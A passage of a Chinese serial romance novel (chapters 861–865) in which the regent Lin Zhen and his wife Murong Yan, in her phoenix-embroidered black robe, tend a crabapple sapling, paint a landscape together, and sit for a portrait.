前日翻松的那片土地上,那株西府海棠树苗已然挺立,嫩绿的叶片在微风中轻轻摇曳,焕发着勃勃生机。 慕容嫣并未如寻常般在暖阁休憩,而是再次来到了这片园圃旁。 她依旧穿着那身玄黑色百凤墨袍,极致深邃的底色在透过叶隙的柔和光线下,少了几分锐利的华光,多了几分沉静的雍容,仿佛一件被时光温柔摩挲过的古玉,吸吮着光线,却又自内里透出幽蓝与暗紫的微妙光泽。 ?袍服之上,那一百只以无数珍稀丝线绣就的凤凰,在斑驳的光影下显得不那么咄咄逼人,羽翼的光泽流转得更为内敛柔和,如同在墨色云锦的宇宙中安然小憩,凤眸上的宝石折射出温润的星点光芒。 ?宽大无比的喇叭袖今日未被束起,自然垂落身侧,袖口边缘的黑珍珠流苏纹丝不动。而那长达三丈、与袍服连为一体、毫无接缝的巨型墨色镶宝拖尾,则并未铺展在锦毡上,而是被她略显生疏地、一圈圈地拢起,堆叠在臂弯之中,以减少其拖曳的面积——这是她新学来的、便于在园中稍微活动的法子,虽仍显笨拙沉重,却已是她努力参与“劳作”的证明。 即便如此,那拖尾最末端的奢华镶宝边缘,依旧不可避免地垂落在地,与她脚上那双洁白的云锦软鞋一同,轻轻蹭着湿润的泥土边缘。 林臻早已在此处。他换了一身更便于活动的靛青色粗棉布短衫,裤脚挽起,露出结实的小腿,正手持一柄小巧的玉锄,细心地在海棠树苗的周围松土除草,动作专注而熟练,与平日朝堂上那位威严的摄政王判若两人。 慕容嫣静静立在一旁看了片刻,阳光透过枝叶,在她墨袍的百凤图案上投下移动的光斑。她看着林臻专注的侧脸,看着他额角细微的汗珠,心中涌起一股奇异的暖流和…一丝跃跃欲试。 她轻轻咳了一声。 林臻闻声抬头,看到她盛装立于春光树影之下,臂弯挽着那沉重的墨色拖尾,模样既华贵无比,又带着一丝小心翼翼的可爱,不由莞尔:“嫣儿怎么来了?日头虽好,站久了也累。” “我来看看它,”慕容嫣指了指那株海棠苗,声音轻柔,“也…来看看夫君。” 她说着,微微上前一步,?喇叭袖下的手试探性地伸向一旁白玉小几上放着的一只纯金小喷壶,壶里盛着调配好的花肥清水。 “我…我来给它浇点水?” 林臻眼中笑意更深,放下玉锄,走到她身边,并未立刻将喷壶递给她,而是先自然地从袖中抽出丝帕,为她拭去鼻尖上并不存在的汗珠——或许只是被阳光晒出的微红。 “好,嫣儿来浇。”他声音低沉温柔,“小心些,壶有些沉。” 第861章 来一片,拂走一片 他先自己提起金壶,试了试重量和壶嘴的角度。 然后才小心地递到她戴着丝绒手套的手中,自己的大手则覆在她的手背上,一同稳着壶身:“这样…对,稍微倾斜些,让水细细地流出来,浇在根部周围的土里,不要淋到叶子…” 慕容嫣依言,在他的引导下,微微倾斜金壶。清亮的水流带着淡淡的花肥气息,细细地洒在树苗根部的土壤上,迅速渗入其中。 她做得极其认真,长睫微垂,红唇轻抿,仿佛在进行一项无比庄严的仪式。?宽大的喇叭袖因着她的动作微微晃动,袖口的珍珠流苏几乎要扫到潮湿的泥土。 “好了,够了。”浇了少许,林臻便轻声提醒,接过她手中的金壶放下。他怕她累着。 慕容嫣却似有些意犹未尽,目光又投向那把小巧的玉锄:“那…我再帮夫君除除草?” 林臻失笑,看着她一身极致华服与那挽在臂弯的沉重拖尾,摇了摇头:“草已除得差不多了。而且…” 他伸手,指尖轻轻拂过她墨袍袖口一处极其微小的、几乎看不见的泥点痕迹, “这衣裳如此珍贵,若是沾了太多泥草汁液,清洗起来怕是麻烦。我的嫣儿的心意,这棵小树苗和我,都收到了。” 慕容嫣低头看了看自己的袖口,又看了看那株喝饱了水、叶片愈发青翠的海棠苗,这才乖巧地点点头。 她松开臂弯,让那长达三丈的拖尾自然垂落铺展在身后特意铺设的深色锦毡上,其上镶嵌的宝石在斑驳阳光下闪烁。 林臻很自然地牵起她喇叭袖下的手,引着她走到树苗旁一块光滑的大湖石旁坐下——石面上早已铺好了厚软的天鹅绒垫。 他自己则随意地坐在她脚边的草地上,背靠着湖石,姿态放松。 慕容嫣侧坐着,?墨色的拖尾在锦毡上蜿蜒出优美的弧度。她微微俯身,伸出指尖,极轻地碰了碰海棠树苗一片柔嫩的叶子,感受着那生命的柔软与韧性,眼中流露出新奇与怜爱。 “夫君,它好像比前日长高了一点点?”她不太确定地抬头问林臻。 林臻仰头看着她被树影柔化的容颜,笑道:“嫣儿眼力真好,是长高了些。春日里,草木生长最快。” “真好…”慕容嫣喃喃道,目光依旧流连在嫩叶上,“希望它快快长大,明年就能开好多好多花…” “嗯,定然会的。”林臻保证道,伸手握住她放在膝上的手,指尖轻轻摩挲着她丝绒手套的纹理, “待它花开满树,我就在这树下为嫣儿架一架秋千,再摆一张软榻。届时,嫣儿便可在这花荫下,一边赏花,一边数钱,岂不惬意?” 慕容嫣被他描绘的画面逗笑,眼波流转,嗔了他一眼:“夫君就记得我数钱…” 语气里却是藏不住的甜蜜。她想象着那番景象,繁花似锦,暗香浮动,自己穿着这身墨袍,坐在花雨之中…她忽然轻轻“啊”了一声。 “怎么了?”林臻关切地问。 慕容嫣微微蹙起精致的黛眉,指了指那树苗,又低头看看自己华美沉重的拖尾,语气带着一丝小小的担忧:“夫君,等它长大了,开花时…花瓣落下来,会不会…染了我的衣裳?” 她这身墨袍最是忌惮污渍。 林臻先是一怔,随即忍不住低笑出声,胸膛震动。 他的嫣儿,总是能在最浪漫的想象里,瞬间考虑到最实际(对她而言)的问题。 他起身,坐到她身边,将她揽入怀中,低头蹭了蹭她的发顶,声音里满是纵容的笑意: “傻嫣儿,若真到了那时,我便让人在这树下再撑一顶最大的、用月光纱制成的华盖,保证一片花瓣也落不到我的嫣儿身上。若是还不放心,我便亲自为嫣儿看着,来一片,拂走一片,可好?” 慕容嫣想象着他形容的那般景象,以及他说的“来一片拂走一片”的傻话,忍不住噗嗤一声笑了出来,靠在他怀里,肩膀微微抖动:“哪有那样的…夫君尽胡说…” “为了嫣儿,有何不可?”林臻低头,吻了吻她含笑的唇角,语气认真而宠溺。 阳光暖暖,微风拂过,树影婆娑。两人相依坐在湖石旁,一个身着粗布衣衫却难掩清贵,一个墨袍逶迤华美倾世,共同守望着那株在春光中悄然生长的小树苗,低声说着些无关紧要的闲话,偶尔交换一个温柔的亲吻。 时光在此刻仿佛被拉长,变得缓慢而粘稠,充满了蜂蜜般的甜腻与温馨。 那华丽沉重的墨袍与三丈拖尾,此刻似乎也不再是身份的象征与负累,而只是这静谧画卷中一抹极致浓重的色彩,是爱人身畔最温暖的依靠。 直到日头渐渐西斜,林臻恐她着凉,才柔声劝道:“嫣儿,起风了,我们回去吧。” 慕容嫣这才有些依依不舍地从他怀里起身,目光依旧在那株海棠苗上流连了片刻。 “明日再来看它。”林臻承诺道,小心地帮她将拖尾理好,然后打横将她抱起,稳步走向寝殿。 慕容嫣搂着他的脖颈,回头望去,看着那株在夕阳下拉出长长影子的小树苗,轻声说:“夫君,我们要日日都来。” “好,日日都来。” ...... 摄政王府的暖阁内,地龙早已熄了,只余角落的冰鉴散发着丝丝凉意,与窗外暖融的阳光形成恰到好处的平衡。 空气中弥漫着淡淡的、由沉香与新鲜瓜果调和的清雅香气。 慕容嫣并未午憩,而是慵懒地倚在临窗的一张紫檀木嵌螺钿贵妃榻上。她身上所穿,依旧是那身玄黑色百凤墨袍。 极致玄黑的底色,在透过轻薄鲛绡窗纱的柔和光线下,呈现出一种近乎墨玉般的温润质感,吸吮着光线,却又自内部隐隐透出幽蓝与暗紫的微光,神秘而高贵。 ?袍服之上,那一百只以无数珍稀金银彩线、采用绝世“盘金蹙绒”并“缀珠绣”工艺织就的凤凰。 在漫射的光线下,光华流转得更为内敛柔和,赤金温润,玫金娇软,银白皎洁,紫金贵气,凤眸上的细小红蓝宝石折射出星子般的微光,百凤姿态安详,仿佛在墨色云锦的宇宙中悠然假寐。 第862章 香气袭人 ?宽大无比的喇叭袖铺陈在榻上的墨绿色闪缎软垫上,袖口边缘缀着的细密黑珍珠流苏纹丝不动。 而那长达三丈、与袍服连为一体、毫无接缝的巨型墨色镶宝拖尾,则并未完全铺展,而是被她略显随意地拢起,一部分堆叠在榻沿,一部分蜿蜒垂落于铺着长毛地毯的地面,如同一条慵懒休憩的墨色星河,其上镶嵌的黑钻、墨玉与深蓝宝,在柔和光线下闪烁着冰冷而璀璨的星点光芒。 她并未绾发,如云青丝尽数披散,流淌于墨袍的百凤图案与闪缎软垫之上。她赤着足,一双玉足从层叠的墨色袍摆下探出,纤巧秀美,微微蜷缩着。 她的目光并未落在书卷或账本上,而是微微侧着头,透过敞开的琉璃窗,望向窗外不远处那株新栽下的西府海棠树苗。 树苗在春日阳光下舒展着嫩绿的叶片,生机勃勃。 林臻坐在榻边的一张花梨木扶手椅上,手中拿着一卷关于漕运新规的奏折,目光却并未停留在文字上,而是含笑凝视着榻上那人儿专注的侧影。 他今日穿着一身素雅的月白云纹直缀,更衬得长身玉立,气质清贵。 “嫣儿看了快半个时辰了,”他放下奏折,端起手边的冰镇梅子汤,饮了一口,声音温和带笑,“那株小树苗,可又长高了几分?” 慕容嫣闻声,缓缓回过头来,?喇叭袖随着她的动作轻轻拂过榻面。她微微嘟起唇,带着一丝娇憨的抱怨:“好像没有…我瞧着,和昨日一般高。” 语气里竟有几分小小的失望。 林臻失笑,起身走到榻边,极其自然地在榻沿坐下,顺着她的目光望向那株海棠:“草木生长,自有其时,岂是肉眼一日便能窥见变化的?嫣儿心太急了。” “可是…”慕容嫣轻轻蹙起精致的黛眉,?喇叭袖下的手指无意识地蜷缩了一下,“夫君不是说,春日里长得最快么?” 她像个期盼礼物却未能立刻得到的孩子。 林臻心中软成一片,伸手轻轻抚平她微蹙的眉间:“是长得最快,却也非一日千里。待再过些时日,嫣儿便能瞧出不同了。” 他顿了顿,语气带着诱哄,“不如…我们为它浇些水?或许喝了水,它便长得更快些?” 慕容嫣眼睛顿时一亮,立刻点头:“好!” 林臻轻笑,却并未唤宫女,而是自己起身,走到一旁用冰块镇着的玉盆前,取过那只慕容嫣专用的、小巧的纯金喷壶,注入温度适宜的清水,甚至还加入了几滴格物院新制的、据说能促进植物生长的“花液”。 他回到榻边,并未将喷壶直接递给慕容嫣,而是含笑看着她。 慕容嫣会意,微微撑起身子,期待地伸出喇叭袖下的手。 林臻却摇摇头,俯身,一手小心地探入她膝弯与后背,另一只手稳稳托住她的腰肢,轻轻松松地将她打横抱了起来。 “呀!”慕容嫣轻呼一声,下意识地搂住他的脖颈,“夫君?” “地上凉,而且…”林臻低头,蹭了蹭她的鼻尖,笑道,“抱着我的小树官去巡视她的小树苗,岂不正好?” 慕容嫣脸颊微红,却忍不住笑了起来,将脸埋进他肩窝,?宽大的喇叭袖垂落,拂过他的手臂。 林臻就这样抱着她,稳步走到窗前。 那长达三丈的墨色拖尾随之从榻上滑落,迤逦拖行于地毯之上,其上镶嵌的宝石在移动中折射出流动的星光。 他调整了一下姿势,让慕容嫣能舒适地靠在自己怀里,视野正好对着窗外那株海棠苗。 然后,他将金喷壶递到她手中,自己的大手则覆在她的手背上,稳着壶身:“来,嫣儿来浇。” 慕容嫣就着他的怀抱和引导,小心翼翼地倾斜喷壶。 细细的水流带着几不可闻的清香,均匀地洒在海棠树苗根部的土壤上,迅速渗入。 她做得极其认真,长睫微垂,红唇轻抿,仿佛在进行一项无比重要的仪式。?喇叭袖的袖口因着她的动作微微晃动。 “好了,够了。”只浇了少许,林臻便轻声提醒,接过她手中的金壶放到一旁,却并未立刻将她放回榻上,而是依旧抱着她,站在窗前。 “夫君,它什么时候才会开花?”慕容嫣靠在他怀里,目光依旧流连在喝饱了水的树苗上,轻声问。 “明年春日,”林臻肯定道,下颌轻蹭着她的发顶,“到时定会花开似锦,香气袭人。” “明年春日…”慕容嫣喃喃重复,眼中充满了憧憬,“那还要好久…” “不久,”林臻低笑,声音低沉而温柔,“时光荏苒,有嫣儿在身旁,每一天都如白驹过隙。待到花开之时,我陪嫣儿在树下设宴,饮酒赏花,可好?” “嗯!”慕容嫣用力点头,眼中光彩流转。她仿佛已经看到了明年繁花满枝的景象,唇角不由弯起甜蜜的弧度。 两人就这样相拥立于窗前,静静地看着那株在春风中轻轻摇曳的海棠树苗,低声说着些关于未来的、细碎而美好的想象。阳光透过窗纱,温柔地笼罩着他们,将身影拉长,与那逶迤于地的墨色拖尾交融在一起。 许久,林臻才柔声道:“嫣儿,该歇息了。” 慕容嫣却摇摇头,在他怀里蹭了蹭:“再待一会儿…夫君,你唱曲给我听吧?就像上次那样…”她仰起脸,眼中带着期待与撒娇。 林臻失笑,看着她亮晶晶的眼眸,哪里忍心拒绝。他清了清嗓子,依旧用那低沉微哑、并不婉转却充满磁性的嗓音,哼起那首调子简单、甚至有些走调的江南童谣。 慕容嫣安心地靠在他怀里,闭上眼睛,听着他不成调的哼唱,感受着他胸膛传来的震动与温暖,嘴角始终带着甜甜的笑意。 那身华贵沉重的墨袍,此刻仿佛也只是最温暖的襁褓。 哼着哼着,她的呼吸渐渐变得均匀绵长,竟是在他怀里睡着了。 林臻察觉到怀中人儿气息的变化,停下哼唱,低头看着她恬静的睡颜,眼中充满了无尽的宠溺与爱怜。 他极其小心地调整了一下姿势,让她睡得更舒服,然后就这样抱着她,缓缓踱步回到榻边,再轻柔地将她放回榻上,细心地为她盖好薄衾。 那长达三丈的拖尾,被他仔细地整理好,铺展在榻侧。 他在榻边坐下,目光温柔地流连于她沉睡的容颜,指尖极轻地拂过她墨袍上精致的凤羽刺绣。 窗外,海棠树苗在春光中悄然生长。 窗内,?墨色的凤凰栖息于爱人身畔,沉入安宁的梦乡,梦中尽是来年花开似锦的绚烂景象。 第863章 作画 初夏午后,微风透过摄政王府暖阁敞开的雕花长窗,带来庭院中盛放的栀子花的浓郁甜香,与室内冰鉴散发的丝丝凉意交织,形成一种慵懒而惬意的氛围。 地龙早已熄了,只余角落鎏金兽首香炉中吐出袅袅的龙脑冷香,清雅宜人。 暖阁中央,一张巨大的紫檀木平头画案已布置妥当。案上铺着一张质地上乘、洁白如雪的宣纸,四周以和田玉镇纸压角。 一旁的多宝格上,陈列着各式精致的瓷碟,里面盛着研磨细腻的石青、石绿、朱砂、藤黄等矿物颜料,还有几方古墨,一只白玉笔掭,以及数支用料考究的毛笔。 慕容嫣立于画案前,身姿窈窕。她依旧穿着那身玄黑色百凤墨袍,极致深邃的底色在明亮却不灼人的夏日光线下,呈现出一种吸纳万光的沉静质感,却又自最深处折射出幽蓝与暗紫的微妙光泽,神秘而高贵,与画案的白纸形成了强烈的视觉冲击。 ?袍服之上,那一百只以无数珍稀金银彩线、采用绝世“盘金蹙绒”并“缀珠绣”工艺织就的凤凰,在充足的光线下,每一片羽毛都闪烁着鲜活而内敛的华彩,赤金温润,玫金娇艳,银白皎洁,紫金贵气,凤眸上的细小红蓝宝石折射出星辰般的微光,百凤姿态安详,仿佛在墨色云锦的宇宙中静观其变。 ?宽大无比的喇叭袖袖口被她用一对精巧的、雕成含苞待放玉兰形态的羊脂玉袖襻微微束起,以免沾染颜料,却依旧难掩其华美轮廓,边缘缀着的细密黑珍珠流苏纹丝不动。 而那长达三丈、与袍服连为一体、毫无接缝的巨型墨色镶宝拖尾,则被极其小心地处理——大部分被拢起,层叠铺放在画案一侧一张特制的、铺着厚软墨绿色丝绒的长榻上,仅有最末端的丈余长度,如同一条倦怠的墨色星河,逶迤铺展在光洁如镜的金丝楠木地板上,其上镶嵌的黑钻、墨玉与深蓝宝,在阳光下闪烁着冰冷而璀璨的星点光芒。 她并未绾发,如云青丝以一支通透的墨玉长簪松松绾就,几缕发丝垂落颊边。她微微俯身,?喇叭袖下未戴手套的纤纤玉手执着一支小楷狼毫,正在试墨,神情专注,长睫微垂,在白皙的脸颊上投下淡淡的阴影。 林臻并未坐在一旁观看,而是站在她身侧后方,穿着一身与她墨袍相得益彰的深青色杭绸直缀,身姿挺拔,目光却并未落在画纸上,而是含笑凝视着身旁人儿认真的侧影,眼底满是欣赏与宠溺。 “嫣儿想画什么?”他轻声问,声音低沉柔和,怕惊扰了她的思绪。 慕容嫣并未抬头,笔尖轻轻在试色纸上勾勒着,声音带着一丝不确定的软糯:“…想画那日我们在西山别苑看到的云海…可是…” 她顿了顿,微微蹙起精致的黛眉, “…山石的皴法,我总是掌握不好…”语气里带着点小小的懊恼与撒娇。 林臻微微一笑,上前一步,极其自然地走到她身后,胸膛几乎贴着她的后背,温热的呼吸拂过她的耳廓。他并未立刻握住她的手,而是先伸出双臂,绕过她的身子,双手撑在画案边缘,将她整个人虚虚地圈在了自己与画案之间。 “西山云海…气象万千,确是不易描绘。”他的声音就在她耳边,带着令人安心的沉稳,“尤其是远山的层次与云雾的氤氲,需得墨色浓淡相宜,笔触虚实相生。” 慕容嫣感受到他贴近的温度与气息,脸颊微微泛红,心跳不由自主地加快了几分。她轻轻“嗯”了一声,身体却不由自主地微微向后,靠向他坚实的胸膛,寻求着依靠。 林臻察觉到她细微的依赖,眼底笑意更深。 他这才缓缓伸出右手,轻轻覆在她执着笔的右手之上,掌心温暖干燥,完全包裹住她微凉细腻的手背。 “来,”他的声音愈发低沉,带着诱哄般的温柔,“我带着嫣儿画。” 慕容嫣只觉得手背一暖,他掌心的温度透过肌肤传来,让她指尖微微发颤,心中涌起一股难以言喻的甜蜜与悸动。她顺从地放松了力道,任由他掌控了笔势。 林臻握着她的手,并未急于落笔,而是先引着她的手,在砚台里缓缓舔笔,让笔尖饱蘸浓淡适宜的墨汁。他的动作极其轻柔,仿佛在对待一件稀世珍宝。?宽大的喇叭袖边缘轻轻相蹭,墨香与她发间的冷梅香交织在一起。 “先定大势…”他低语,引导着她的手,在雪白的宣纸右上角缓缓落下第一笔,勾勒出远山朦胧的轮廓。他的手臂稳健,带动着她的手腕,运笔流畅而富有韵律。 慕容嫣屏住呼吸,全神贯注地感受着他手心的温度与力量,感受着笔尖在纸上游走的轨迹。他的胸膛紧贴着她的后背,她能清晰地感受到他平稳的心跳和呼吸,每一次轻微的起伏,都仿佛直接传递到她的心尖。 “墨色稍淡…对…就这样…”他一边画,一边在她耳边低声讲解,气息拂过她的耳垂,带来一阵细微的痒意。“这里…用侧锋…轻轻擦过…显出山石的质感…” 慕容嫣依言而行,在他的引导下,笔下的山石渐渐显出了层次与体积感。她学得极快,很快便能跟上他的节奏,甚至偶尔能提前感知到他下一步的意图。两人默契无声,仿佛心意相通。 画完远山轮廓,需要渲染云雾。林臻换了一支稍大的羊毫笔,依旧握着她的手,蘸了极淡的墨色。 “云雾要虚,要活…”他低声说着,引导她的手用极轻的力道在纸上晕染,手腕灵活地转动,创造出缥缈朦胧的效果。?喇叭袖因着动作微微晃动,袖口的玉襻轻轻相碰,发出细微的清脆声响。 慕容嫣沉浸在这种亲密无间的共同创作中,脸颊绯红,眼眸亮如星辰,完全忘了周遭的一切。那华美沉重的墨袍与三丈拖尾,此刻仿佛也不再是负累,而只是这温馨画面中一抹浓重的背景色。 偶尔,她的喇叭袖袖口会不小心扫过未干的墨迹,留下极淡的痕迹。林臻便会立刻察觉,小心地将她的袖子挽得更高些,指尖不经意地擦过她细腻的小臂,带来一阵微妙的战栗。 “这里…添一只飞鸟可好?”画到一半,慕容嫣忽然轻声提议,语气带着一丝雀跃。 “好。”林臻纵容地应道,换回小楷笔,依旧握着她的手,在远山云雾之间,极其精细地勾勒出一只展翅翱翔的孤鸿,姿态飘逸,意境顿生。 “嫣儿添得妙。”他低声赞叹,下巴轻轻蹭了蹭她的发顶。 慕容嫣心中甜丝丝的,靠他更紧了些。 时间在笔尖悄然流淌。一幅水墨氤氲、意境深远的西山云海图渐渐在两人手中成型。虽非大师手笔,却笔触交融,充满了难以言喻的亲密与情意。 待到最后一笔勾勒完成,林臻并未立刻松开她的手,而是就着这个姿势,低头,吻了吻她泛着粉红的耳廓,声音暗哑:“我的嫣儿,学得真快。” 慕容嫣被他亲得浑身一软,手中的笔差点掉落。她转过身来,仰起脸看他,眼中水光潋滟,带着完成画作的欣喜与被他撩拨的羞涩:“是…是夫君教得好…” 林臻低头凝视着她娇艳的容颜,目光深邃,其中翻涌的情愫让她心跳更快。他缓缓抬起另一只手,指尖轻轻拂过她脸颊旁一缕散落的发丝,然后,缓缓地、带着无比的珍视,吻上了她的唇。 这个吻温柔而缠绵,带着墨的清香与彼此的甜蜜。 许久,林臻才松开她,额头抵着她的额头,呼吸微促。慕容嫣软在他怀里,脸颊绯红,气息不稳,?喇叭袖下的手紧紧抓着他的衣襟。 画案上,共同完成的画作墨迹未干。画案旁,?墨色的凤凰依偎在爱人的怀抱,心满意足。 “夫君,”她轻声呢喃,“下次…我们还一起画…” “好,”林臻承诺,声音低沉而温柔,“下次,画嫣儿。” 窗外夏风和煦,室内一室馨香。那逶迤的墨色拖尾静静地铺陈于地,仿佛也沉醉在这份静谧的甜蜜之中。 第864章 流苏光影正好 仲夏午后,蝉鸣稀疏,摄政王府的暖阁内却是一片沁人的清凉。四角的冰山无声地散发着丝丝寒气,驱散了窗外的暑意。空气中弥漫着冷梅香与松烟墨混合的清雅气息。 暖阁东窗下,光线最为柔和明亮之处,设着一张宽大的紫檀木嵌螺钿画案。案上已铺就一张质地上乘、略泛牙黄的宣纸,四角以温润的和田青玉镇纸压住。 一旁的多宝格上,各式颜料碟、笔洗、水滴、色碟、砚台排列有序,俨然一个小型的精致画室。 慕容嫣并未如往常般倚在榻上,而是端坐在一张铺着墨绿色闪缎软垫的黄花梨木圈椅中。她坐姿并不僵硬,带着一种浑然天成的雍容慵懒,身上所穿,依旧是那身玄黑色百凤墨袍。 极致玄黑的底色,在透过薄绡窗纱的柔和光线下,呈现出一种比最深的夜更沉静、比最润的墨玉更温软的质感,吸吮着光线,却又自最深处折射出幽蓝与暗紫的微妙光泽,神秘高贵,将她本就雪白的肌肤映衬得宛如最上等的羊脂白玉,泛着柔和的光晕。 ?袍服之上,那一百只以无数珍稀金银彩线、采用绝世“盘金蹙绒”并“缀珠绣”工艺织就的凤凰,在漫射的光线下,光华流转得极为内敛柔和,赤金温润,玫金娇软,银白皎洁,紫金贵气,凤眸上的细小红蓝宝石折射出星子般的微光,百凤姿态安详,或栖或翔,栩栩如生,仿佛只是在她身上暂歇,随时会振翅而去。 ?宽大无比的喇叭袖自然垂落,覆盖了圈椅的扶手,袖口边缘缀着的细密黑珍珠流苏纹丝不动,泛着温润光泽。 而那长达三丈、与袍服连为一体、毫无接缝的巨型墨色镶宝拖尾,则被极其精心地处理——并非随意铺散,而是由四名侍女分执四角,将拖尾大部分平整地铺展在慕容嫣身后一张特制的、铺着玄色暗花云锦的宽阔矮榻上,使其形成一个华丽无比的背景,仅有最末端一小部分迤逦垂落于地毯之上。 其上镶嵌的黑钻、墨玉与深蓝宝,在柔和光线下闪烁着冰冷而璀璨的星点光芒,如同将她置于一条缓缓流淌的墨色星河之中,极致的奢华成为了画中不可或缺的一部分。 她并未绾繁复发髻,如云青丝仅以一支通透的墨玉长簪松松绾起一部分,余下长发如瀑,披散于肩背,流淌在墨袍的百凤图案与圈椅的靠背之上,黑白分明,惊心动魄。 她赤着足,一双玉足从层叠的墨色袍摆下探出,纤巧秀美,自然地搁在铺着软垫的脚踏上。 林臻并未坐在她对面,而是立于画案之后。他今日穿着一身素雅的雨过天青色细麻长衫,宽大的袖口挽至肘间,露出结实的小臂,指间夹着数支画笔,神情专注而温柔,目光不时在画纸与慕容嫣之间流转。 “嫣儿,就这样,别动。”他的声音低沉,带着作画时特有的宁静气息,目光灼灼,仿佛要将眼前人的每一寸光影都摄入心底。 慕容嫣微微颔首,唇角含着一丝极淡的、几不可察的笑意,目光并未直接与他对视,而是落在窗外一株摇曳的芭蕉上,眼神带着些许慵懒的放空,姿态自然而放松。 ?宽大的喇叭袖下的手,轻轻搭在椅子的扶手上,指尖染着淡淡的凤仙花汁,与墨袍的玄黑形成鲜明对比。 林臻凝神片刻,便俯身运笔。他并未使用浓烈色彩,而是选了一支狼毫小楷,蘸了淡墨,先从她的轮廓开始勾勒。 笔尖在纸上游走,发出极其细微的沙沙声。他的目光时而抬起,深深地凝视她片刻,那目光专注而炽热,带着毫不掩饰的欣赏与爱恋,仿佛在用目光细细临摹她的眉眼、她的鼻梁、她的唇瓣…以及她身上那件华美沉重得令人窒息的墨袍。 慕容嫣虽目视窗外,却能清晰地感受到他投来的、那如有实质的目光。那目光仿佛带着温度,流连过她的脸颊、颈项、被墨袍包裹的肩线…让她微微有些不自在,却又带着一种奇异的、被珍视的甜蜜感。她的耳根悄悄染上一抹淡粉。 时间在笔尖悄然流淌。林臻画得极其细致耐心,偶尔会停下笔,微微蹙眉思索,或是换一支更细的笔,去勾勒墨袍上某处特别繁复的凤凰羽翼细节,或是她发间那支墨玉簪的微妙光泽。 暖阁内极其安静,只有冰融化的细微滴水声,画笔与纸面的摩擦声,以及两人清浅的呼吸声。 不知过了多久,林臻忽然轻声开口,打破了这片宁静:“嫣儿,袖口…再往下放半分可好?珍珠的流苏光影正好。” 慕容嫣闻言,睫羽微颤,依言微微动了动喇叭袖下的手腕,让袖口自然垂落得更多一些,那串黑珍珠流苏随之轻轻晃动。 “很好…”林臻低语,迅速运笔捕捉下这一瞬的光影。 又过了一会儿,他再次开口,声音更柔:“嫣儿,看着我。” 慕容嫣微微一怔,缓缓将目光从芭蕉叶上收回,转向他。四目相对瞬间,她看到他眼中毫不掩饰的深情与专注,心尖猛地一颤,脸颊温度悄然升高。 林臻看着她那双清澈眼眸中映出的自己的影子,唇角微扬,手下画笔不停,迅速勾勒着她眼波的流转与那一闪而过的羞涩。他画得如此入神,仿佛整个世界只剩下画纸上的她。 慕容嫣被他看得有些羞赧,下意识地想移开目光,却被他眼神中的温柔与恳求定住。她只好微垂着眼睫,任由他描绘。这份静止与凝视,让空气中弥漫开一种无声而浓稠的暧昧,比任何言语都更令人心动。 画至大半,林臻需要调配更细致的颜色来描绘她唇色与脸颊的红晕。他并未唤侍女,而是自己亲自研磨朱砂、胭脂,调以清胶。过程中,他的目光仍不时地望向她,仿佛怕错过她任何一丝细微的神韵变化。 当他再次靠近画案,笔尖蘸取那抹娇艳的胭脂红时,他看着画中人与眼前人,忽然低声道:“嫣儿的唇色…比这朱砂更娇些…” 慕容嫣闻言,脸颊瞬间绯红,如同染上了最好的胭脂。她嗔怪地睨了他一眼,?喇叭袖下的手微微收紧:“夫君…好好画画…” 林臻低笑出声,心情极好,终于落笔,为画中人的唇瓣点上那一抹惊心动魄的红。 当最后一笔勾勒完成,林臻放下画笔,长长舒了一口气,目光却依旧胶着在画作上,细细端详,似乎在检查是否有任何不足之处。 慕容嫣也微微放松了有些僵直的脊背,轻声问:“…画好了?” “嗯,”林臻应道,声音带着一丝完成佳作后的满足与疲惫,“来看看?” 他并未立刻将画作拿起,而是走到她身边,向她伸出手。慕容嫣将手放入他的掌心,借力起身。那长达三丈的拖尾随之移动,在锦榻上发出轻微的摩挲声。 林臻牵着她,走到画案前。 画纸上,一位身着极致华美金墨凤袍的女子跃然纸上,容颜绝世,气质雍容中带着一丝慵懒,眼眸清澈,唇瓣娇艳,栩栩如生。 更令人惊叹的是,林臻不仅精准地捕捉到了她的神韵,更将那件墨袍的华美、百凤的灵动、喇叭袖的飘逸、乃至那铺陈开的巨幅镶宝拖尾的璀璨与沉重,都描绘得细致入微,淋漓尽致!整幅画作,既是对人的礼赞,也是对那身华服的极致刻画。 慕容嫣看着画中的自己,眼中流露出惊艳与难以置信。她从未如此清晰地看过自己穿着这身墨袍的模样。 “夫君…画得真好…”她喃喃道,语气里充满了赞叹与一丝羞涩。 “是嫣儿本就如此。”林臻从身后拥住她,下巴轻蹭她的发顶,声音低沉而满足,“我只是…将我所见,付诸笔端。” 慕容嫣靠在他怀里,目光依旧流连在画上,心中充满了甜蜜与感动。她忽然注意到画中人的眼神,那其中蕴含的温柔与依赖,是她自己都未曾察觉的。 “我…我原来是这样的眼神看着夫君的么?”她小声问,脸颊更红。 林臻低笑,转过她的身子,深深望入她的眼底:“是,一直都是。”他低头,吻了吻她的眼帘,“我的嫣儿,看我的眼神,永远如此。” 慕容嫣心中悸动,主动环上他的脖颈,送上红唇。 画案旁,完成的画作墨迹未干。画案前,?墨色的凤凰依偎在爱人怀中,共享着这份无需言说的深情与默契。 第865章 这里,每一下,都是为你而跳 夏夜深沉,月华如水,透过摄政王府寝殿最高处的镂空雕花窗棂,洒下一地清辉。殿内四角的冰山无声地散发着丝丝凉意,驱散了白日的余热,只余一片沁人的静谧。 空气中弥漫着冷梅香与龙涎香交织的淡雅气息,安神宁心。 寝殿深处,那张巨大无比的紫檀木拔步床榻上,鲛绡帐幔并未完全垂下,只用金色的鸾鸟帐钩挽起一半,任由月光与殿内角落留着的几盏昏暗电石灯的柔和光晕流淌进来,将一切笼罩在朦胧而温馨的光影之中。 慕容嫣并未安寝。她侧身倚靠在堆叠如云的软枕之上,身上所穿,依旧是那身玄黑色百凤墨袍睡裙。 极致玄黑的底色,在朦胧的光线下,呈现出一种比夜色更沉、比墨玉更润的质感,吸吮着微弱的光线,却又自最深处折射出幽蓝与暗紫的微妙光泽,神秘而高贵,将她裸露在外的肌肤映衬得如同月光下的初雪,莹润生辉。? 袍服之上,那一百只以无数珍稀金银彩线、采用绝世“盘金蹙绒”并“缀珠绣”工艺织就的凤凰,在暗处光华内敛,唯有在偶尔的角度变换间,才能窥见其羽翼流转的赤金、玫金、银白、紫金的华彩,如同沉睡的星河流转于墨色天穹,凤眸上的宝石则如同蛰伏的星子,偶尔闪烁一下微光。 ?宽大无比的喇叭袖一只铺散在枕畔,袖口边缘缀着的细密黑珍珠流苏纹丝不动,另一只则柔顺地垂落榻沿。 